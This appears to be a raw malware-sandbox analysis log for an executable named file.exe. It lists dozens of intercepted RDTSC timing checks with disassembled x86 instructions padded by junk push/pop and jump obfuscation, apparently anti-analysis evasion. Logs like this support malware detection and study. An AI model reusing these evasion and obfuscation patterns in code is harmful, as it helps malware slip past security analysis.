Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57907A1 second address: 57907A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57907A6 second address: 57907D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, EFA0h 0x00000007 mov ecx, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d jmp 00007FD1DCB3F650h 0x00000012 mov dword ptr [esp], ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD1DCB3F64Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57907D4 second address: 57907DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57907DA second address: 5790843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e jmp 00007FD1DCB3F650h 0x00000013 test eax, eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FD1DCB3F64Eh 0x0000001c sub ecx, 1B9A6EA8h 0x00000022 jmp 00007FD1DCB3F64Bh 0x00000027 popfd 0x00000028 mov cx, A19Fh 0x0000002c popad 0x0000002d je 00007FD24E2E2782h 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD1DCB3F651h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790843 second address: 5790853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790853 second address: 5790857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790857 second address: 579092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a jmp 00007FD1DD1E6CA7h 0x0000000f xor eax, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD1DD1E6CA5h 0x00000019 or eax, 591D9586h 0x0000001f jmp 00007FD1DD1E6CA1h 0x00000024 popfd 0x00000025 pushad 0x00000026 movzx ecx, bx 0x00000029 push edi 0x0000002a pop esi 0x0000002b popad 0x0000002c popad 0x0000002d and ecx, 1Fh 0x00000030 jmp 00007FD1DD1E6CA5h 0x00000035 ror eax, cl 0x00000037 pushad 0x00000038 mov ebx, ecx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FD1DD1E6CA6h 0x00000041 add ah, FFFFFFB8h 0x00000044 jmp 00007FD1DD1E6C9Bh 0x00000049 popfd 0x0000004a pushfd 0x0000004b jmp 00007FD1DD1E6CA8h 0x00000050 or si, E018h 0x00000055 jmp 00007FD1DD1E6C9Bh 0x0000005a popfd 0x0000005b popad 0x0000005c popad 0x0000005d leave 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 movsx ebx, ax 0x00000064 mov cx, 3763h 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790A1D second address: 5790A3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD1DCB3F64Bh 0x00000008 pop eax 0x00000009 mov edx, 09E31FFCh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790A3B second address: 5790A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790A57 second address: 5790AB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FD1DCB3F656h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, di 0x00000017 pushfd 0x00000018 jmp 00007FD1DCB3F659h 0x0000001d or si, C8C6h 0x00000022 jmp 00007FD1DCB3F651h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790AB7 second address: 5790ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790ABD second address: 5790AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790AC1 second address: 5790AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574000A second address: 5740032 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD1DCB3F657h 0x00000008 mov ecx, 578F985Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740032 second address: 574003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 87B0h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574003B second address: 574005C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574005C second address: 5740062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740062 second address: 574008D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1DCB3F655h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574008D second address: 574009D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574009D second address: 574010E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f pop edi 0x00000010 mov esi, 161E9E83h 0x00000015 popad 0x00000016 and esp, FFFFFFF8h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FD1DCB3F64Bh 0x00000022 xor cx, 732Eh 0x00000027 jmp 00007FD1DCB3F659h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007FD1DCB3F650h 0x00000033 or eax, 500408A8h 0x00000039 jmp 00007FD1DCB3F64Bh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574010E second address: 5740128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 jmp 00007FD1DD1E6C9Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740128 second address: 574012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574012C second address: 5740132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740132 second address: 574018E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD1DCB3F64Eh 0x00000011 xchg eax, ecx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD1DCB3F64Eh 0x00000019 sbb ax, 3098h 0x0000001e jmp 00007FD1DCB3F64Bh 0x00000023 popfd 0x00000024 jmp 00007FD1DCB3F658h 0x00000029 popad 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574018E second address: 57401AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57401AB second address: 5740200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FD1DCB3F64Dh 0x0000000b sbb ecx, 4A6C6246h 0x00000011 jmp 00007FD1DCB3F651h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c jmp 00007FD1DCB3F64Ah 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD1DCB3F657h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740200 second address: 5740206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740206 second address: 574020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574020A second address: 5740280 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e jmp 00007FD1DD1E6CA6h 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FD1DD1E6C9Eh 0x0000001b sub esi, 28947ED8h 0x00000021 jmp 00007FD1DD1E6C9Bh 0x00000026 popfd 0x00000027 movzx eax, di 0x0000002a popad 0x0000002b push eax 0x0000002c jmp 00007FD1DD1E6CA2h 0x00000031 xchg eax, esi 0x00000032 pushad 0x00000033 mov ax, C94Dh 0x00000037 mov ebx, esi 0x00000039 popad 0x0000003a mov esi, dword ptr [ebp+08h] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov edx, ecx 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740280 second address: 5740286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740286 second address: 57402DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007FD1DD1E6CA6h 0x00000011 push eax 0x00000012 jmp 00007FD1DD1E6C9Bh 0x00000017 xchg eax, edi 0x00000018 pushad 0x00000019 mov dx, ax 0x0000001c mov esi, 45CCED27h 0x00000021 popad 0x00000022 test esi, esi 0x00000024 jmp 00007FD1DD1E6C9Ah 0x00000029 je 00007FD24E9D4FDAh 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57402DD second address: 57402E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57402E3 second address: 574035C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1DD1E6CA2h 0x00000009 and ecx, 4AC652B8h 0x0000000f jmp 00007FD1DD1E6C9Bh 0x00000014 popfd 0x00000015 call 00007FD1DD1E6CA8h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000025 jmp 00007FD1DD1E6CA1h 0x0000002a je 00007FD24E9D4F82h 0x00000030 jmp 00007FD1DD1E6C9Eh 0x00000035 mov edx, dword ptr [esi+44h] 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574035C second address: 5740362 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740362 second address: 57403EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD1DD1E6CA2h 0x00000008 pop eax 0x00000009 jmp 00007FD1DD1E6C9Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 jmp 00007FD1DD1E6CA4h 0x0000001a jmp 00007FD1DD1E6CA2h 0x0000001f popad 0x00000020 test edx, 61000000h 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FD1DD1E6C9Eh 0x0000002d sbb esi, 183D5698h 0x00000033 jmp 00007FD1DD1E6C9Bh 0x00000038 popfd 0x00000039 mov ax, C44Fh 0x0000003d popad 0x0000003e jne 00007FD24E9D4F40h 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57403EA second address: 57403EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57403EE second address: 57403F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57403F4 second address: 57403FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57403FA second address: 57403FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57403FE second address: 574042E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F650h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f pushad 0x00000010 push ecx 0x00000011 push edx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 push esi 0x00000015 mov di, 5B58h 0x00000019 pop edi 0x0000001a popad 0x0000001b jne 00007FD24E32D8C3h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574042E second address: 5740434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730811 second address: 573085B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 00h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FD1DCB3F654h 0x00000010 push eax 0x00000011 jmp 00007FD1DCB3F64Bh 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FD1DCB3F656h 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f mov dl, ch 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573085B second address: 5730874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 popad 0x00000008 and esp, FFFFFFF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD1DD1E6C9Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730874 second address: 57308AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FD1DCB3F656h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD1DCB3F64Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57308AB second address: 57308B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57308B1 second address: 57308B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57308B5 second address: 5730917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD1DD1E6C9Ch 0x00000013 add si, 5168h 0x00000018 jmp 00007FD1DD1E6C9Bh 0x0000001d popfd 0x0000001e push esi 0x0000001f movsx edi, ax 0x00000022 pop ecx 0x00000023 popad 0x00000024 push ecx 0x00000025 jmp 00007FD1DD1E6C9Ch 0x0000002a mov dword ptr [esp], esi 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FD1DD1E6CA7h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730917 second address: 573091D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573091D second address: 5730921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730A08 second address: 5730A3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F652h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FD1DCB3F654h 0x00000017 push ecx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730A3E second address: 5730A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730A44 second address: 5730A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730A48 second address: 5730A98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FD1DD1E6C9Eh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FD1DD1E6CA0h 0x00000017 push eax 0x00000018 pushad 0x00000019 mov esi, ebx 0x0000001b push edx 0x0000001c mov si, 81DFh 0x00000020 pop eax 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push edi 0x00000027 pop ecx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730A98 second address: 5730B04 instructions: 0x00000000 rdtsc 0x00000002 call 00007FD1DCB3F653h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007FD1DCB3F659h 0x0000000f pushfd 0x00000010 jmp 00007FD1DCB3F650h 0x00000015 adc si, C5D8h 0x0000001a jmp 00007FD1DCB3F64Bh 0x0000001f popfd 0x00000020 pop esi 0x00000021 popad 0x00000022 push dword ptr [ebp+14h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD1DCB3F652h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B04 second address: 5730B3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1DD1E6CA1h 0x00000009 jmp 00007FD1DD1E6C9Bh 0x0000000e popfd 0x0000000f mov dl, ch 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push dword ptr [ebp+10h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov eax, 5C73DFF3h 0x0000001f mov eax, 1FE2884Fh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B3B second address: 5730B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B41 second address: 5730B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B6B second address: 5730B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B80 second address: 5730B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B86 second address: 5730B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730B8A second address: 5730BEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007FD1DD1E6CA6h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 jmp 00007FD1DD1E6C9Eh 0x00000018 call 00007FD1DD1E6CA2h 0x0000001d mov ecx, 29E735E1h 0x00000022 pop eax 0x00000023 popad 0x00000024 mov esp, ebp 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov dx, 558Ch 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730BEC second address: 5730C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F650h 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD1DCB3F657h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740E53 second address: 5740EA7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD1DD1E6CA8h 0x00000008 sbb si, 2278h 0x0000000d jmp 00007FD1DD1E6C9Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 call 00007FD1DD1E6CA8h 0x0000001a mov esi, 0BD3E831h 0x0000001f pop ecx 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740EA7 second address: 5740EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5740EAB second address: 5740EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C0766 second address: 57C07B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD1DCB3F64Eh 0x0000000f push eax 0x00000010 jmp 00007FD1DCB3F64Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FD1DCB3F656h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov cx, di 0x00000023 push edx 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C07B8 second address: 57C07BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C07BE second address: 57C07C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C07C2 second address: 57C07DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD1DD1E6C9Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0A6C second address: 57B0A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F656h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B089D second address: 57B08A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B08A3 second address: 57B08A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B08A9 second address: 57B08AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
